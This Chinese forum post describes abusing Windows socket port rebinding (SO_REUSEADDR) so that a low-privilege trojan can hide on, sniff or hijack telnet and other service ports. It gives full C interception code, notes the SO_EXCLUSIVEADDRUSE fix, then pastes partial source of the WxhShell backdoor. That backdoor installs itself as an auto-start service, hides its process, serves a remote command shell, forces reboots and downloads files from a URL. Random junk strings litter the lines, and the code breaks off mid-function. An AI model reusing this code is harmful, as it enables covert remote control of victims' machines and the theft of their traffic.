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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: qlPjz*<h"H  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); @`%.\_  
s_zZ@azJ  
  saddr.sin_family = AF_INET; Y91TF'  
xtpD/,2  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); j[iJo 5  
U,RIr8G  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); +ywWQ|V  
]K XknEaxl  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 aFyNm@a  
*:BN LM  
  这意味着什么?意味着可以进行如下的攻击: 49/1#^T"Q>  
3`^ ]#Dh  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 QdO$,i'  
Z'S>i*Ts  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) T1n GBl\(  
*fSa8CV  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 }9Y='+.%^  
~`*:E'/5k]  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  F:hJ^:BP  
6XFO@c}d  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 dMRwQejY{7  
CrS[FM= +W  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 1?7QS\`)fB  
B^h]6Z/O  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 eFsku8$<  
#0!C3it6c  
  #include Y8\Ms^rz  
  #include \Q^\z   
  #include q?} G?n 4  
  #include    @m6pAo4P  
  DWORD WINAPI ClientThread(LPVOID lpParam);   CtjjN=59  
  int main() qpp:h_E  
  { :w:5;cm V  
  WORD wVersionRequested; ]Y;$~qQ  
  DWORD ret; -6+HA9zz@C  
  WSADATA wsaData; pNVao{::5  
  BOOL val; G|3OB:  
  SOCKADDR_IN saddr; xs.[]>nQN  
  SOCKADDR_IN scaddr; _AVCh)Zb  
  int err; S:Yo9~  
  SOCKET s; E+E5`-V  
  SOCKET sc; 5wGyM10  
  int caddsize; \sp7[}Sw  
  HANDLE mt; bpUN8BI[T  
  DWORD tid;   &hV;3";  
  wVersionRequested = MAKEWORD( 2, 2 ); _NA]= #J  
  err = WSAStartup( wVersionRequested, &wsaData ); ~Ja>x`5  
  if ( err != 0 ) { KxJJ?WyM  
  printf("error!WSAStartup failed!\n"); IgN,]y  
  return -1; yMo@ka=v  
  } N|[a<ut<  
  saddr.sin_family = AF_INET; u6(7#n02  
   r9b`3yr=  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 K''b)v X4  
SG43}  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); )>TA|W]@  
  saddr.sin_port = htons(23); !u7WCw.Dm  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) _`D760q}  
  { ef!I |.FW  
  printf("error!socket failed!\n"); UAcABL^2  
  return -1; 0;k3  
  } ZQ~?  
  val = TRUE; $1Xg[>1g5  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 b[*d i{?-  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ve K  
  { vP,WV9Q1u  
  printf("error!setsockopt failed!\n"); *}mtVa_|  
  return -1; _10#rucr  
  } J4S2vBe16  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 78 UT]<Q;K  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 J~c]9t  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 <D&75C#  
Q{$2D&  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) )dlt$VX  
  { f5sk,Z  
  ret=GetLastError(); OW #pBeX99  
  printf("error!bind failed!\n"); '}!dRpx  
  return -1; vW]BOzK  
  } ipU"|{NK  
  listen(s,2); }bB_[+YV`{  
  while(1) f(##P|3>R  
  { &VQwuO  
  caddsize = sizeof(scaddr); 6fkL@It  
  //接受连接请求 `8'|g8,wb0  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Ge97e/ CY  
  if(sc!=INVALID_SOCKET) /CX<k gz@  
  { j?.VJ^Ff/u  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); c*ytUI *  
  if(mt==NULL) >6rPDzW`Dx  
  { HX<5i>]0\u  
  printf("Thread Creat Failed!\n"); nk-?$'i9q  
  break; ?np` RA  
  } cFH,fj  
  } R0m}I5Frs  
  CloseHandle(mt); W cqYpPv  
  } >+$1 p_  
  closesocket(s); B*?v`6  
  WSACleanup(); ueqR@i  
  return 0; y<#y3M!\  
  }   -><?q t  
  DWORD WINAPI ClientThread(LPVOID lpParam) {8JJ$_  
  { 1miTE4;?  
  SOCKET ss = (SOCKET)lpParam; _N*4 3O`  
  SOCKET sc; (# ?~^ut  
  unsigned char buf[4096]; sS+9ly{9J  
  SOCKADDR_IN saddr; Y<kvJb&1*  
  long num; v"bOv"!al  
  DWORD val; yWX:`*GV  
  DWORD ret; ^M,Q<HL  
  //如果是隐藏端口应用的话,可以在此处加一些判断 g4-HUc zk  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   7v=Nh  
  saddr.sin_family = AF_INET; /yH:ur  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 4!E6|N%f  
  saddr.sin_port = htons(23); .|o7YTcR:  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) zIm$S/Qe*  
  { 5HJ6[.HO  
  printf("error!socket failed!\n"); f+F /`P%  
  return -1; wddF5EcK0  
  } ? 8'4~1g`}  
  val = 100; "lUw{3  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) fx=aT  
  { rZzto;NDS  
  ret = GetLastError(); o"5R^a@  
  return -1; uK t>6DN.  
  } 6wxQ_Qz:Q  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Uh&MoIBs#  
  { 2TIZltFS0e  
  ret = GetLastError(); &z,w0FOre  
  return -1; fe&K2C%bm  
  } lRentNg0b  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) VxsW3*`  
  { r,0> 40^  
  printf("error!socket connect failed!\n"); C>j"Ck^<  
  closesocket(sc); X,gXgxP\  
  closesocket(ss); j@ =n|cq  
  return -1; '2# O{  
  } R%b,RH#  
  while(1) Z*`CK^^~  
  { W\X51DrEx  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 9C`Fd S   
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 L$Ss]Ar=  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 g*!2.P  
  num = recv(ss,buf,4096,0); &)`A4bf%  
  if(num>0) 3Vt-]DGX  
  send(sc,buf,num,0); PUucYc  
  else if(num==0) scrNnO[3j  
  break; #~ / -n&#  
  num = recv(sc,buf,4096,0); )5e}Id  
  if(num>0) T!J\Dm-  
  send(ss,buf,num,0); f<y""0L9  
  else if(num==0) ,qaIdw[  
  break; m]&d TZV  
  } >JnEhVRQJ9  
  closesocket(ss); {?#g*QF|^  
  closesocket(sc); .F> c Z,  
  return 0 ; fr:RiOPn  
  } Yuh t<:`  
5 {'%trDEy  
y 37n~~%  
========================================================== ]D(%Ku,O%  
DBVe69/S  
下边附上一个代码,,WXhSHELL @(oz`|*  
8l)^#"ySA  
========================================================== _DH,$evS%  
.D>%-  
#include "stdafx.h" \@tt$ m%  
f{ENSUtCrR  
#include <stdio.h> E Sb  
#include <string.h> %*:-4K  
#include <windows.h> n,n]V$HFGh  
#include <winsock2.h> 7GE.>h5  
#include <winsvc.h> a^~l[HSF  
#include <urlmon.h> [@.%6aD  
Qt!l-/flh  
#pragma comment (lib, "Ws2_32.lib") uKhfZSx0 w  
#pragma comment (lib, "urlmon.lib") JCS$Tm6y<_  
Vb0hlJb  
#define MAX_USER   100 // 最大客户端连接数 OTalR;:]r  
#define BUF_SOCK   200 // sock buffer ^Cpvh}1#  
#define KEY_BUFF   255 // 输入 buffer |>VDMezy  
H|Q)Tp Lk  
#define REBOOT     0   // 重启 |A}E/=HPU  
#define SHUTDOWN   1   // 关机 pSc<3OI  
!`Bb[BTf  
#define DEF_PORT   5000 // 监听端口 !.x(lOqf  
%mh K1,  
#define REG_LEN     16   // 注册表键长度 zFwp$K>{QY  
#define SVC_LEN     80   // NT服务名长度 IO|">a6  
4,T S1H  
// 从dll定义API KxK$Y.y]  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); C:$lH  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); [;#}BlbN  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); _s<eqCBV  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); rzEE |  
t$R|lv5<  
// wxhshell配置信息 wnha c}  
struct WSCFG { w^z}!/"]u  
  int ws_port;         // 监听端口 #OH# &{H  
  char ws_passstr[REG_LEN]; // 口令 3 uhwoE  
  int ws_autoins;       // 安装标记, 1=yes 0=no `ag>4?7?  
  char ws_regname[REG_LEN]; // 注册表键名 ^!N_Nx/M  
  char ws_svcname[REG_LEN]; // 服务名 z8jQaI]j  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 tAc[r)xFw  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ZuILDevMD  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 9LzQp`In  
int ws_downexe;       // 下载执行标记, 1=yes 0=no F8>Fp"  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" =Tb~CT=  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ?$ o9/9w  
TfVB~"&  
}; @dD70T  
'Pr(7^  
// default Wxhshell configuration pA4oy  
struct WSCFG wscfg={DEF_PORT, EZE/~$`3   
    "xuhuanlingzhe", V+cHL  
    1, DX4uTD  
    "Wxhshell", zeNvg/LI^  
    "Wxhshell", )^L+iht  
            "WxhShell Service", q"`1cFD  
    "Wrsky Windows CmdShell Service", Y7]N.G3,]  
    "Please Input Your Password: ", |jF)~k6  
  1,  2o?!m2W  
  "http://www.wrsky.com/wxhshell.exe",  :v8j3=  
  "Wxhshell.exe" %/-Z1Nv*#  
    }; >*B/Wy  
m3\lm@`)O  
// 消息定义模块 @kRe0:t  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; vgo-[^FiP$  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Gb~*[  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; *A;~~ SQ  
char *msg_ws_ext="\n\rExit."; TV0(uMZ0+'  
char *msg_ws_end="\n\rQuit."; E(>RmPP=7  
char *msg_ws_boot="\n\rReboot..."; [:TOU^  
char *msg_ws_poff="\n\rShutdown..."; Bp>%'L  
char *msg_ws_down="\n\rSave to "; L]9uY  
9<}d98  
char *msg_ws_err="\n\rErr!"; C3hnX2";  
char *msg_ws_ok="\n\rOK!"; ,]42v?  
91}QuYv/_  
char ExeFile[MAX_PATH]; ! E#XmYhX=  
int nUser = 0; bu,Z'  
HANDLE handles[MAX_USER]; VQ{}S $jQ  
int OsIsNt; thl{IU  
# ]&=]K1V  
SERVICE_STATUS       serviceStatus; |:L<Ko  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; TY5<hPU=  
2?nK71c"  
// 函数声明 U}_l]gNn  
int Install(void); +#A >[,U  
int Uninstall(void); j'#W)dp(  
int DownloadFile(char *sURL, SOCKET wsh); 9)3ok#pQ/  
int Boot(int flag); 8L9xP'[^  
void HideProc(void);  #/MUiV  
int GetOsVer(void); 8s6[?=nM  
int Wxhshell(SOCKET wsl); o_vK4%y(  
void TalkWithClient(void *cs); wVP{R3  
int CmdShell(SOCKET sock); w}K<,5I>  
int StartFromService(void); 0^?(;AK  
int StartWxhshell(LPSTR lpCmdLine); :p%nQF,*f  
VfAIx]Fa  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); vZq7U]RW  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); &d[&8V5S  
u&9|9+"N  
// 数据结构和表定义 HhH[pE  
SERVICE_TABLE_ENTRY DispatchTable[] = cRDjpc]  
{ 4%aODr8  
{wscfg.ws_svcname, NTServiceMain}, ? D2:'gg  
{NULL, NULL} 2_ <  
}; 90Jxn'>^  
`LEk/b1(P  
// 自我安装 (iIJ[{[H4)  
int Install(void)  # G0jMQ  
{ l5l:'EY>  
  char svExeFile[MAX_PATH]; *ukE"Aj  
  HKEY key; oIAP dn  
  strcpy(svExeFile,ExeFile); ]}<wS ]1  
*.8@ hPy  
// 如果是win9x系统,修改注册表设为自启动 66,?f<b  
if(!OsIsNt) { 9@nX 6\ ,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [Z` q7ddd^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); K!lGo3n]  
  RegCloseKey(key); w(]Q `  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ha)eeE$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &|LZ%W0Fb  
  RegCloseKey(key); l[fU0;A  
  return 0; DO'$J9;*  
    } Q>cLGdzO  
  } sV@kQ:  
} XwOj`N{!H  
else { \Se>u4~L  
MW &iNioX  
// 如果是NT以上系统,安装为系统服务 B- N  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 8B"jvrs  
if (schSCManager!=0) T+8F'9i`  
{ WFocA:  
  SC_HANDLE schService = CreateService ' ^^]Or  
  ( QHUoAa`6v  
  schSCManager, ?{mFQ  
  wscfg.ws_svcname, rQC{"hS1  
  wscfg.ws_svcdisp, #*:y2W%H  
  SERVICE_ALL_ACCESS, M\BLuD  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , \~u7 k  
  SERVICE_AUTO_START, *l\wl @{  
  SERVICE_ERROR_NORMAL, i[,9hp  
  svExeFile, g{0a]'ph  
  NULL, ((OQs.  
  NULL, 5qZebD2a  
  NULL, Ik W 8$>  
  NULL, (SMnYh4  
  NULL R.nAD{>h*  
  ); PX!$w*q  
  if (schService!=0) 0m8mHJ<&  
  { "&!7wH ,A  
  CloseServiceHandle(schService); W&MZ5t,k=  
  CloseServiceHandle(schSCManager); iN\m:m  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); r:rM~``  
  strcat(svExeFile,wscfg.ws_svcname); \piB*"ln  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ITpo:"X g  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); R-%v??  
  RegCloseKey(key); `X;'*E]e  
  return 0; XR2Gw 4]  
    } wg-qq4Q\  
  } pf&H !-M  
  CloseServiceHandle(schSCManager); (tG8HwV-  
} $qndG,([F  
} >aw`kr  
(}!xO?NA(  
return 1; d`eX_]Z  
} VPC7Dh%.  
,#/%Fn%T  
// 自我卸载 w?;j5[j  
int Uninstall(void) ([g[\c,H  
{ ,1|Qm8O  
  HKEY key; v,}Mn7:  
)~> C1<  
if(!OsIsNt) { MP LgE.n  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { r$Gz  
  RegDeleteValue(key,wscfg.ws_regname);  m[>pv1o  
  RegCloseKey(key); #aHJ|[[(n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { r(qw zUI  
  RegDeleteValue(key,wscfg.ws_regname); ,`Yx(4!rR  
  RegCloseKey(key); >IT19(J;A  
  return 0; J]AkWEiCJ  
  } ;L`NF"  
} gZ1|b  
} 3kBpH7h4  
else { /@\3#2;  
S.Fip _  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); y:zo/#34  
if (schSCManager!=0)  p3r1lUw  
{ 07dUBoq  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); k^PqB+P!  
  if (schService!=0) "UY.; P  
  {  8E!I9z  
  if(DeleteService(schService)!=0) { ]m(5>h#  
  CloseServiceHandle(schService); <.<Q.z  
  CloseServiceHandle(schSCManager); Eh)VU_D  
  return 0; !jDqRXi(  
  } uPpRzp  
  CloseServiceHandle(schService); {@u}-6:wAT  
  } IJnr^S8  
  CloseServiceHandle(schSCManager); (u >:G6K  
} 9h6xli  
} `|^<y.-6  
(A*r&Ak[  
return 1; dkQA[/k  
} \g}FoN&  
Vy:ER  
// 从指定url下载文件 Eu )7@  
int DownloadFile(char *sURL, SOCKET wsh) qpl"j-  
{ m`c(J1Et  
  HRESULT hr; t747SZWgB  
char seps[]= "/"; B!le=V,@,  
char *token; >~$ S!  
char *file; lm&C!{K  
char myURL[MAX_PATH]; 6iFd[<.*j  
char myFILE[MAX_PATH]; <][|,9mw  
ZH%[wQ~4  
strcpy(myURL,sURL); <!zItFMD[m  
  token=strtok(myURL,seps); b?$09,{0  
  while(token!=NULL) 3q>"#+R.t  
  { R3PhKdQ"  
    file=token; st2>e1vg  
  token=strtok(NULL,seps); ~V&ReW/  
  } %FU[ j^  
C;5}/J^E  
GetCurrentDirectory(MAX_PATH,myFILE); kC0!`$<2f)  
strcat(myFILE, "\\"); zaZ}:N/w(z  
strcat(myFILE, file); #J!? :(m:  
  send(wsh,myFILE,strlen(myFILE),0); A-io-P7qyj  
send(wsh,"...",3,0); >+#[O"  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); LTe7f8A  
  if(hr==S_OK) hLvv:C@  
return 0; rYJ ))@  
else {dwV-qz  
return 1; MUrY>FYgx  
3$8}%?i  
} taQ[>x7b  
CA4-&O"  
// 系统电源模块 C\^K6,m5  
int Boot(int flag) M\&~Dmd  
{ %\cC]<>  
  HANDLE hToken; Pb,^UFa=  
  TOKEN_PRIVILEGES tkp; 76b7-Nj"  
d eoM~r9s  
  if(OsIsNt) { 6dL>Rzl$Dk  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); :RsPGj6   
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); AG7}$O.  
    tkp.PrivilegeCount = 1; .;b> T  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ]3xa{ h~4  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); PHvjsA%"   
if(flag==REBOOT) { 0UJ`<Bfd  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~ ""MeaM8[  
  return 0; LrMFzd}_O  
} (J&Xo.<Z-  
else { Ij1 ]GZ`A(  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) e<4z)  
  return 0; lM,zTNu-z  
} \bic.0-  
  } P|4E1O  
  else { d~jtWd|?  
if(flag==REBOOT) { ?(q*U!=  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) =h::VB}Lv  
  return 0; 41o!2(e$  
} l;*lPRoW,  
else { RYl3txw  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) _]UDmn[C  
  return 0; |OZ>/l {  
} H ?j-=Zka  
} )8 :RiG2B  
MLBg_<  
return 1; `u~  
} Kxc$wN<  
R+K&<Rz  
// win9x进程隐藏模块 T[h}A"yK;  
void HideProc(void) P9"D[uz  
{ urXb!e{l  
hcd>A vC8  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); n,jE#Z.D  
  if ( hKernel != NULL ) u45h{i-e  
  { x;FO|fH  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); b?] S&)"9  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); #/t>}lc  
    FreeLibrary(hKernel); s$>m0^  
  } ;Nf hKu%K  
$qtU  
return; r(1pvcWY-  
} 39T&c85  
#~URLN  
// 获取操作系统版本 B#GZmv1  
int GetOsVer(void) *KjVPs  
{ _"!{7e`Z  
  OSVERSIONINFO winfo; )_ b@~fC  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); B`Or#G3ph  
  GetVersionEx(&winfo); e,#+Xx0M  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) [wy3Ld  
  return 1; |T$a+lHMD  
  else m{lRFKx>s  
  return 0; 8?j&{G  
} XuFm4DEJ  
W -C0 YU1  
// 客户端句柄模块 BBU84s[  
int Wxhshell(SOCKET wsl) G{:af:5Fo  
{ Xw*%3'  
  SOCKET wsh; EAC(^+15K  
  struct sockaddr_in client; Ng."+&  
  DWORD myID; n^JUZ8  
]O[+c*|w  
  while(nUser<MAX_USER) (iCZz{l@~  
{ nz&b5Xb2  
  int nSize=sizeof(client); Pa +AF  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); t7*G91Hoq&  
  if(wsh==INVALID_SOCKET) return 1; SrQ4y`?  
k5fH ;  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); zfP[1  
if(handles[nUser]==0) l${Hgn+  
  closesocket(wsh); a8bX"#OR&N  
else x;ERRK  
  nUser++; Jm]]>K8.3V  
  } u-%r~ }  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);  \]f5  
H#kAm!H  
  return 0; r|\5'ZMx  
} w| -0@  
k lP{yxU'n  
// 关闭 socket 45r]wT(C   
void CloseIt(SOCKET wsh) P EX26==  
{ 9&[) (On74  
closesocket(wsh); u n?j  
nUser--; Q8;x9o@p  
ExitThread(0); AMh37Xo  
} Y91 e1PsV  
8CP9DS  
// 客户端请求句柄 3D?IG\3  
void TalkWithClient(void *cs) Njy9JX  
{ q7O,I`KaJ  
@MN}^umx`  
  SOCKET wsh=(SOCKET)cs; a gmeiJT  
  char pwd[SVC_LEN]; YiIddQ  
  char cmd[KEY_BUFF]; nR,Qm=;  
char chr[1]; Hl^aUp.c  
int i,j; ;_?zB NW  
S 0R8'Y  
  while (nUser < MAX_USER) { ;H7EB`  
 /gqqKUx  
if(wscfg.ws_passstr) { SE-!|WR  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); L<f-Ed9|  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); i#L6UKe:Q  
  //ZeroMemory(pwd,KEY_BUFF); ,GdxUld  
      i=0; tIi!* u  
  while(i<SVC_LEN) { >Jm-2W5J  
7%:??*"~  
  // 设置超时 `7u\   
  fd_set FdRead; MAuM)8_P/|  
  struct timeval TimeOut; i;[h 9=\/  
  FD_ZERO(&FdRead); L0X&03e=e:  
  FD_SET(wsh,&FdRead); ^;V}l?J_s  
  TimeOut.tv_sec=8; g6rv`I $l  
  TimeOut.tv_usec=0; kbfuvJ>  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); w;N{>)hv  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); (A7T}znG  
~fyF&+ibp'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); t!6\7Vm/  
  pwd=chr[0]; z{Hz;m:*_  
  if(chr[0]==0xd || chr[0]==0xa) { 2LCc  
  pwd=0; #D!$~ h&i  
  break; keT?,YI  
  } y,'FTP9?  
  i++; c_~XL^B@  
    } `y1BTe&  
umJay />  
  // 如果是非法用户,关闭 socket z `\# $  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 5T!&r  
} Nawp t%  
o&CghF  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Ro$j1Aw(  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Wl,%&H2S<  
qsI{ b<n  
while(1) { 48lzOG  
r`?&m3IOP  
  ZeroMemory(cmd,KEY_BUFF); cge-'/8w%  
xg(<oDn+\  
      // 自动支持客户端 telnet标准   F?!FD>L{`  
  j=0; V78Mq:7d  
  while(j<KEY_BUFF) { {;U}:Dx  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); lTn;3'  
  cmd[j]=chr[0]; G=vN;e_$_b  
  if(chr[0]==0xa || chr[0]==0xd) { #o"tMh!f  
  cmd[j]=0; [fd~nD#.  
  break; Y3D3.T6Q  
  } ERk kS Tp  
  j++; |d5ggf .w  
    } 1Pu ,:Jt  
#g,H("Qy({  
  // 下载文件 B<A:_'g  
  if(strstr(cmd,"http://")) { h!QjpzQe  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 3)dP7rmZ  
  if(DownloadFile(cmd,wsh)) @v"T~6M  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5@K\c6   
  else ki#y&{v9Be  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); VIetcs  
  } k9cK b f@  
  else { I`lDWL  
O)l%OOv   
    switch(cmd[0]) { Lg8 ]dBXu  
  ma3Qi/  
  // 帮助 OthG7+eF  
  case '?': { ? %93b ,7  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); q{/*n]K  
    break; ehU"*9  
  }  j|ozGO  
  // 安装 {798=pC<.  
  case 'i': { Q^nG0<q+  
    if(Install()) r;9z 5'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @?m+Z"o|z  
    else v< Ty|(gd  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |%-YuD  
    break; "8FSA`>=  
    } 3zbXAR*  
  // 卸载 QJQJR/g  
  case 'r': { $]Jf0_  
    if(Uninstall()) iFSJ4 W(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); FbmsN)mv!%  
    else !1("(Eb  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3<+z46`?  
    break; J, r Xx:  
    } RTZ:U@  
  // 显示 wxhshell 所在路径 uO"y`$C$_  
  case 'p': { 'g2vX&=$A  
    char svExeFile[MAX_PATH]; I-TlrW=t  
    strcpy(svExeFile,"\n\r");  C[R`Ml  
      strcat(svExeFile,ExeFile); 5 1"8Py  
        send(wsh,svExeFile,strlen(svExeFile),0); $ND90my  
    break; 2!BsEvB(  
    } Xty# vI  
  // 重启 0juDuE?  
  case 'b': { RU7!U mf  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 2?*||c==*  
    if(Boot(REBOOT)) _%;M9Sg3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); - {0g#G  
    else { K|Om5 p  
    closesocket(wsh); xuF5/(__  
    ExitThread(0); {79qtq%W{  
    } 2Sjt=LOc="  
    break; %/Bvy*X&  
    } brfKd]i  
  // 关机 lf6|.  
  case 'd': { k},>^qE  
